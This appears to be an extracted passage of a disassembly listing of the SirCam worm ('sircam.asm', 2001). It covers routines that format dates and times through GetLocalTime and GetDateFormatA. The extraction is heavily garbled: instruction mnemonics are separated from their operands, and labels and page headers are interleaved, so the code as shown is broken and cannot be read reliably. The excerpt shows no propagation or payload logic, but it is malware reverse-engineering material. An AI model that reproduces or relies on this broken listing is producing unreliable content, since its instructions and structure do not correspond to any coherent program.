[ebp+arg_0]
eax, [ebp+var_8]
sub_407C08
eax, [ebp+var_4]
ecx, 7
ecx
eax, edx
eax
ecx
ecx
ebp
8
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_408090
proc near
var_24
var_18
var_16
var_12
var_10
var_E
var_C
var_8
=
=
=
=
=
=
=
=
; CODE XREF: sub_412A08+4F\031p start+7D4\031p
qword ptr -24h
word ptr -18h
word ptr -16h
word ptr -12h
word ptr -10h
word ptr -0Eh
word ptr -0Ch
qword ptr -8
add
lea
push
call
esp, 0FFFFFFE0h
eax, [esp+20h+var_18]
eax
j_GetLocalTime
sircam.asm
sub_408090
Fri Aug 10 12:42:44 2001
218
mov
cx, [esp+20h+var_12]
mov
dx, [esp+20h+var_16]
mov
ax, [esp+20h+var_18]
call
sub_407E90
fstp
[esp+20h+var_8]
wait
mov
ax, [esp+16h]
push
eax
mov
cx, [esp+24h+var_C]
mov
dx, [esp+24h+var_E]
mov
ax, [esp+24h+var_10]
call
sub_407CB8
fadd
qword ptr [esp+24h+var_C]
fstp
[esp+24h+var_24]
wait
fld
[esp+24h+var_24]
add
esp, 20h
retn
endp ; sp = -4
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_4080E0
proc near
arg_0
= dword ptr
; CODE XREF: sub_408124+15\031p
; sub_408144+3D\031p ...
8
push
mov
push
mov
mov
sub
cmp
jge
mov
ebp
ebp, esp
ebx
ecx, [ebp+arg_0]
ebx, 100h
ebx, [ecx-104h]
edx, ebx
short loc_4080F8
ebx, edx
test
jz
mov
mov
mov
lea
mov
call
; CODE XREF: sub_4080E0+14\030j
ebx, ebx
short loc_408116
edx, [ebp+arg_0]
edx, [edx-104h]
ecx, [ebp+arg_0]
edx, [ecx+edx-100h]
ecx, ebx
sub_4026B0
loc_4080F8:
loc_408116:
sub_4080E0
; CODE XREF: sub_4080E0+1A\030j
mov
add
pop
pop
retn
endp
eax, [ebp+arg_0]
[eax-104h], ebx
ebx
ebp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_408124
proc near
; CODE XREF: sub_4084A8+1B2\031p
; sub_4084A8+1DF\031p ...
sircam.asm
Fri Aug 10 12:42:44 2001
arg_0
= dword ptr
sub_408124
push
mov
push
mov
mov
push
mov
call
mov
mov
call
pop
pop
pop
retn
endp
219
8
ebp
ebp, esp
ebx
ebx, eax
eax, [ebp+arg_0]
eax
eax, ebx
sub_403724
edx, eax
eax, ebx
sub_4080E0
ecx
ebx
ebp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_408144
proc near
var_20
var_1C
var_18
var_14
var_10
arg_0
=
=
=
=
=
=
sub_408144
push
mov
add
push
push
mov
mov
mov
push
push
mov
mov
mov
mov
lea
push
push
mov
lea
mov
call
mov
lea
call
pop
pop
pop
mov
pop
retn
endp
; CODE XREF: sub_4084A8+16D\031p
; sub_4084A8+185\031p ...
dword ptr -20h
byte ptr -1Ch
dword ptr -18h
byte ptr -14h
byte ptr -10h
dword ptr 8
ebp
ebp, esp
esp, 0FFFFFFE0h
ebx
esi
esi, edx
ebx, eax
eax, [ebp+arg_0]
eax
4
[ebp+var_20], esi
[ebp+var_1C], 0
[ebp+var_18], ebx
[ebp+var_14], 0
eax, [ebp+var_20]
eax
1
ecx, offset unk_41C15C
eax, [ebp+var_10]
edx, 10h
sub_407700
edx, eax
eax, [ebp+var_10]
sub_4080E0
ecx
esi
ebx
esp, ebp
ebp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
sircam.asm
Fri Aug 10 12:42:44 2001
220
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_408190
proc near
arg_0
= dword ptr
; CODE XREF: sub_4084A8+142\031p
; sub_4084A8+191\031p ...
8
push
ebp
mov
ebp, esp
push
ebx
mov
eax, [ebp+arg_0]
add
eax, 0FFFFFFFCh
mov
edx, [eax]
jmp
short loc_4081A0
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40819E:
; CODE XREF: sub_408190+1A\031j
inc
dword ptr [eax]
mov
mov
mov
cmp
jz
mov
sub
inc
mov
mov
pop
pop
retn
endp
ecx, [eax]
cl, [ecx]
ebx, [ebp+arg_0]
cl, [ebx-5]
short loc_40819E
eax, [eax]
eax, edx
eax
edx, [ebp+arg_0]
[edx-0Ch], eax
ebx
ebp
loc_4081A0:
sub_408190
; CODE XREF: sub_408190+C\030j
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_4081BC
proc near
arg_0
= dword ptr
push
mov
mov
cmp
jnz
mov
mov
push
push
mov
lea
mov
lea
mov
add
call
mov
mov
loc_4081F2:
; CODE XREF: sub_4084A8+149\031p
; sub_4084A8+198\031p ...
8
ebp
ebp, esp
eax, [ebp+arg_0]
byte ptr [eax-13h], 0
short loc_4081F2
eax, [ebp+arg_0]
eax, [eax+8]
dword ptr [eax+0Ch]
dword ptr [eax+8]
eax, [ebp+arg_0]
ecx, [eax-12h]
eax, [ebp+arg_0]
edx, [eax-10h]
eax, [ebp+arg_0]
eax, 0FFFFFFF2h
sub_408048
eax, [ebp+arg_0]
byte ptr [eax-13h], 1
; CODE XREF: sub_4081BC+A\030j
sircam.asm
sub_4081BC
Fri Aug 10 12:42:44 2001
pop
retn
endp
221
ebp
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_4081F4
proc near
arg_0
= dword ptr
; CODE XREF: sub_4084A8+2FE\031p
; sub_4084A8+3FA\031p ...
8
push
mov
mov
cmp
jnz
mov
mov
push
push
mov
add
push
mov
lea
mov
lea
mov
add
call
mov
mov
ebp
ebp, esp
eax, [ebp+arg_0]
byte ptr [eax-1Dh], 0
short loc_408231
eax, [ebp+arg_0]
eax, [eax+8]
dword ptr [eax+0Ch]
dword ptr [eax+8]
eax, [ebp+arg_0]
eax, 0FFFFFFE4h
eax
eax, [ebp+arg_0]
ecx, [eax-1Ah]
eax, [ebp+arg_0]
edx, [eax-18h]
eax, [ebp+arg_0]
eax, 0FFFFFFEAh
sub_407D30
eax, [ebp+arg_0]
byte ptr [eax-1Dh], 1
pop
retn
endp
ebp
loc_408231:
sub_4081F4
; CODE XREF: sub_4081F4+A\030j
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_408234
proc near
var_118
var_114
var_14
var_12
var_E
var_4
arg_0
=
=
=
=
=
=
=
; CODE XREF: sub_4084A8+1A9\031p
dword ptr -118h
byte ptr -114h
word ptr -14h
word ptr -12h
word ptr -0Eh
dword ptr -4
dword ptr 8
push
mov
add
push
push
xor
mov
mov
mov
mov
xor
push
ebp
ebp, esp
esp, 0FFFFFEE8h
ebx
esi
ecx, ecx
[ebp+var_118], ecx
[ebp+var_4], ecx
ebx, edx
esi, eax
eax, eax
ebp
sircam.asm
Fri Aug 10 12:42:44 2001
222
push
offset loc_408386
push
dword ptr fs:[eax]
mov
fs:[eax], esp
mov
eax, ebx
call
sub_4034C8
mov
eax, [ebp+arg_0]
mov
ax, [eax-0Eh]
mov
[ebp+var_14], ax
mov
eax, [ebp+arg_0]
mov
ax, [eax-10h]
mov
[ebp+var_12], ax
mov
eax, [ebp+arg_0]
mov
ax, [eax-12h]
mov
[ebp+var_E], ax
lea
eax, [ebp+var_4]
mov
edx, offset dword_40839C
call
sub_403560
push
100h
lea
eax, [ebp+var_114]
push
eax
mov
eax, [ebp+var_4]
call
sub_4038E8
push
eax
lea
eax, [ebp+var_14]
push
eax
push
4
call
j_GetThreadLocale_0
push
eax
call
j_GetDateFormatA
test
eax, eax
jz
loc_408365
mov
eax, ebx
lea
edx, [ebp+var_114]
mov
ecx, 100h
call
sub_4036F8
dec
esi
jnz
loc_408365
mov
ax, ds:word_41E5AC
sub
ax, 4
jz
short loc_408307
sub
ax, 0Dh
jnz
short loc_408365
push
ebx
mov
eax, [ebx]
mov
edx, 1
call
sub_409EA0
mov
ecx, eax
mov
eax, [ebx]
mov
edx, 1
call
sub_40392C
jmp
short loc_408365
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_408307:
cmp
jnz
mov
call
mov
mov
call
cmp
jnz
mov
mov
call
mov
lea
add
dec
; CODE XREF: sub_408234+AE\030j
ds:word_41E5AE, 1
short loc_408365
eax, [ebx]
sub_403724
edx, eax
eax, [ebx]
sub_409D50
eax, 4
short loc_408365
eax, [ebx]
edx, 3
sub_409E3C
esi, eax
eax, [ebp+var_114]
esi, eax
esi
sircam.asm
Fri Aug 10 12:42:44 2001
lea
mov
call
mov
mov
call
mov
mov
mov
call
eax, [ebp+var_118]
edx, esi
sub_403680
eax, [ebp+var_118]
edx, 2
sub_409EA0
ecx, eax
eax, ebx
edx, esi
sub_4035B0
loc_408365:
; CODE XREF: sub_408234+85\030j
; sub_408234+9E\030j ...
xor
pop
pop
pop
mov
push
loc_408372:
sub_408234
223
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_40838D
; CODE XREF: CODE:0040838B\031j
lea
eax, [ebp+var_118]
call
sub_4034C8
lea
eax, [ebp+var_4]
call
sub_4034C8
retn
endp ; sp = -128h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_408386:
; DATA XREF: sub_408234+1D\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_408372
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40838D:
; DATA XREF: sub_408234+139\030o
pop
esi
pop
ebx
mov
esp, ebp
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
dd 0FFFFFFFFh, 2
dword_40839C
dd 6767h
; DATA XREF: sub_408234+53\030o
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_4083A0
proc near
var_114
var_14
var_12
var_E
var_4
arg_0
=
=
=
=
=
=
byte ptr -114h
word ptr -14h
word ptr -12h
word ptr -0Eh
dword ptr -4
dword ptr 8
; CODE XREF: sub_4084A8+1D6\031p
push
mov
add
push
push
xor
mov
mov
mov
xor
ebp
ebp, esp
esp, 0FFFFFEECh
ebx
esi
ecx, ecx
[ebp+var_4], ecx
ebx, edx
esi, eax
eax, eax
sircam.asm
Fri Aug 10 12:42:44 2001
224
push
ebp
push
offset loc_40847E
push
dword ptr fs:[eax]
mov
fs:[eax], esp
mov
eax, ebx
call
sub_4034C8
mov
eax, [ebp+arg_0]
mov
ax, [eax-0Eh]
mov
[ebp+var_14], ax
mov
eax, [ebp+arg_0]
mov
ax, [eax-10h]
mov
[ebp+var_12], ax
mov
eax, [ebp+arg_0]
mov
ax, [eax-12h]
mov
[ebp+var_E], ax
cmp
esi, 2
jg
short loc_4083FE
lea
eax, [ebp+var_4]
mov
edx, offset dword_408494
call
sub_403560
jmp
short loc_40840B
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4083FE:
lea
mov
call
; CODE XREF: sub_4083A0+4D\030j
eax, [ebp+var_4]
edx, offset aYyyy ; "yyyy"
sub_403560
push
lea
push
mov
call
push
lea
push
push
call
push
call
test
jz
mov
lea
mov
call
dec
jnz
mov
cmp
jnz
push
mov
call
mov
dec
mov
mov
call
; CODE XREF: sub_4083A0+5C\030j
100h
eax, [ebp+var_114]
eax
eax, [ebp+var_4]
sub_4038E8
eax
eax, [ebp+var_14]
eax
4
j_GetThreadLocale_0
eax
j_GetDateFormatA
eax, eax
short loc_408468
eax, ebx
edx, [ebp+var_114]
ecx, 100h
sub_4036F8
esi
short loc_408468
eax, [ebx]
byte ptr [eax], 30h
short loc_408468
ebx
eax, [ebx]
sub_403724
ecx, eax
ecx
eax, [ebx]
edx, 2
sub_40392C
loc_40840B:
loc_408468:
; CODE XREF: sub_4083A0+93\030j
; sub_4083A0+A8\030j ...
xor
pop
pop
pop
mov
push
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_408485
sircam.asm
Fri Aug 10 12:42:44 2001
loc_408475:
sub_4083A0
225
; CODE XREF: CODE:00408483\031j
lea
eax, [ebp+var_4]
call
sub_4034C8
retn
endp ; sp = -124h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40847E:
; DATA XREF: sub_4083A0+17\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_408475
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_408485:
; DATA XREF: sub_4083A0+D0\030o
pop
esi
pop
ebx
mov
esp, ebp
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
dd 0FFFFFFFFh, 2
dword_408494
dd 7979h, 0FFFFFFFFh, 4 ; DATA XREF: sub_4083A0+52\030o
aYyyy
db ’yyyy’,0
; DATA XREF: sub_4083A0+61\030o
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_4084A8
proc near
var_28
var_24
var_1F
var_1E
var_1D
var_1C
var_1A
var_18
var_16
var_13
var_12
var_10
var_E
var_C
var_5
var_4
arg_0
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
; CODE XREF: sub_4084A8+2D7\031p
; sub_4084A8+2EB\031p ...
dword ptr -28h
dword ptr -24h
byte ptr -1Fh
byte ptr -1Eh
byte ptr -1Dh
word ptr -1Ch
word ptr -1Ah
word ptr -18h
word ptr -16h
byte ptr -13h
word ptr -12h
word ptr -10h
word ptr -0Eh
dword ptr -0Ch
byte ptr -5
dword ptr -4
dword ptr 8
push
mov
add
push
push
xor
mov
mov
mov
xor
push
push
push
mov
cmp
jz
mov
cmp
ebp
ebp, esp
esp, 0FFFFFFD8h
ebx
esi
edx, edx
[ebp+var_28], edx
[ebp+var_24], edx
[ebp+var_4], eax
eax, eax
ebp
offset loc_408BE9
dword ptr fs:[eax]
fs:[eax], esp
[ebp+var_4], 0
loc_408BCE
eax, [ebp+arg_0]
dword ptr [eax-108h], 2
sircam.asm
Fri Aug 10 12:42:44 2001
226
jge
loc_408BCE
mov
eax, [ebp+arg_0]
inc
dword ptr [eax-108h]
mov
bl, 20h
mov
[ebp+var_13], 0
mov
[ebp+var_1D], 0
mov
[ebp+var_1E], 0
jmp
loc_408BB8
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4084FF:
; CODE XREF: sub_4084A8+717\031j
mov
[ebp+var_5], al
inc
[ebp+var_4]
mov
al, [ebp+var_5]
and
eax, 0FFh
bt
ds:dword_41C104, eax
jnb
short loc_40852C
mov
eax, [ebp+var_4]
cmp
byte ptr [eax], 0
jz
loc_408BC5
inc
[ebp+var_4]
mov
bl, 20h
jmp
loc_408BB8
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40852C:
; CODE XREF: sub_4084A8+6C\030j
mov
mov
add
sub
jnb
sub
al, [ebp+var_5]
edx, eax
dl, 9Fh
dl, 1Ah
short loc_40853B
al, 20h
mov
add
sub
jnb
cmp
jnz
cmp
jnz
mov
edx, eax
dl, 0BFh
dl, 1Ah
short loc_408552
al, 4Dh
short loc_408550
bl, 48h
short loc_408550
al, 4Eh
loc_40853B:
; CODE XREF: sub_4084A8+8F\030j
loc_408550:
; CODE XREF: sub_4084A8+9F\030j
; sub_4084A8+A4\030j
mov
loc_408552:
ebx, eax
; CODE XREF: sub_4084A8+9B\030j
and
eax, 0FFh
add
eax, 0FFFFFFDEh
cmp
eax, 38h
ja
loc_408BA6
mov
al, ds:byte_408570[eax]
jmp
ds:off_4085A9[eax*4]
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
byte_408570
db 0Fh, 4 dup(0), 0Fh, 7 dup(0), 0Dh, 0Ah dup(0), 0Eh
; DATA XREF: sub_4084A8+BB\030r
db 6 dup(0), 0Bh, 0, 0Ch, 5, 3, 0, 2, 6, 4 dup(0), 4, 7
db 4 dup(0), 8, 9, 4 dup(0), 1, 0Ah
off_4085A9
dd offset loc_408BA6
; DATA XREF: sub_4084A8+C1\030r
dd offset loc_4085E9
dd offset loc_408638
dd offset loc_408665
dd offset loc_408692
dd offset loc_4086F7
dd offset loc_40879E
dd offset loc_40889A
dd offset loc_4088CB
dd offset loc_4088FC
sircam.asm
Fri Aug 10 12:42:44 2001
227
dd offset loc_408931
dd offset loc_408962
dd offset loc_408ACF
dd offset loc_408B2D
dd offset loc_408B43
dd offset loc_408B59
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4085E9:
; CODE XREF: sub_4084A8+C1\030j
; DATA XREF: sub_4084A8+105\030o
push
ebp
call
sub_408190
pop
ecx
push
ebp
call
sub_4081BC
pop
ecx
cmp
[ebp+var_C], 2
jg
short loc_408620
mov
eax, [ebp+arg_0]
push
eax
movzx
eax, [ebp+var_E]
mov
ecx, 64h
xor
edx, edx
div
ecx
mov
eax, edx
mov
edx, 2
call
sub_408144
pop
ecx
jmp
loc_408BB8
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_408620:
; CODE XREF: sub_4084A8+153\030j
mov
eax, [ebp+arg_0]
push
eax
movzx
eax, [ebp+var_E]
mov
edx, 4
call
sub_408144
pop
ecx
jmp
loc_408BB8
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_408638:
; CODE XREF: sub_4084A8+C1\030j
; DATA XREF: sub_4084A8+109\030o
push
ebp
call
sub_408190
pop
ecx
push
ebp
call
sub_4081BC
pop
ecx
mov
eax, [ebp+arg_0]
push
eax
push
ebp
lea
edx, [ebp+var_24]
mov
eax, [ebp+var_C]
call
sub_408234
pop
ecx
mov
eax, [ebp+var_24]
call
sub_408124
pop
ecx
jmp
loc_408BB8
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_408665:
; CODE XREF: sub_4084A8+C1\030j
; DATA XREF: sub_4084A8+10D\030o
push
call
pop
push
call
pop
ebp
sub_408190
ecx
ebp
sub_4081BC
ecx
sircam.asm
Fri Aug 10 12:42:44 2001
228
mov
eax, [ebp+arg_0]
push
eax
push
ebp
lea
edx, [ebp+var_28]
mov
eax, [ebp+var_C]
call
sub_4083A0
pop
ecx
mov
eax, [ebp+var_28]
call
sub_408124
pop
ecx
jmp
loc_408BB8
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_408692:
; CODE XREF: sub_4084A8+C1\030j
; DATA XREF: sub_4084A8+111\030o
push
ebp
call
sub_408190
pop
ecx
push
ebp
call
sub_4081BC
pop
ecx
mov
eax, [ebp+var_C]
dec
eax
sub
eax, 2
jb
short loc_4086AD
jz
short loc_4086C3
jmp
short loc_4086DD
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4086AD:
; CODE XREF: sub_4084A8+1FF\030j
mov
eax, [ebp+arg_0]
push
eax
movzx
eax, [ebp+var_10]
mov
edx, [ebp+var_C]
call
sub_408144
pop
ecx
jmp
loc_408BB8
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4086C3:
; CODE XREF: sub_4084A8+201\030j
mov
eax, [ebp+arg_0]
push
eax
movzx
eax, [ebp+var_10]
mov
eax, ds:dword_41E50C[eax*4]
call
sub_408124
pop
ecx
jmp
loc_408BB8
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4086DD:
; CODE XREF: sub_4084A8+203\030j
mov
eax, [ebp+arg_0]
push
eax
movzx
eax, [ebp+var_10]
mov
eax, ds:dword_41E53C[eax*4]
call
sub_408124
pop
ecx
jmp
loc_408BB8
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4086F7:
; CODE XREF: sub_4084A8+C1\030j
; DATA XREF: sub_4084A8+115\030o
push
call
pop
mov
dec
sub
jb
jz
dec
ebp
sub_408190
ecx
eax, [ebp+var_C]
eax
eax, 2
short loc_408711
short loc_40872E
eax
sircam.asm
Fri Aug 10 12:42:44 2001
229
jz
short loc_408752
dec
eax
jz
short loc_408776
jmp
short loc_40878A
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_408711:
; CODE XREF: sub_4084A8+25D\030j
push
ebp
call
sub_4081BC
pop
ecx
mov
eax, [ebp+arg_0]
push
eax
movzx
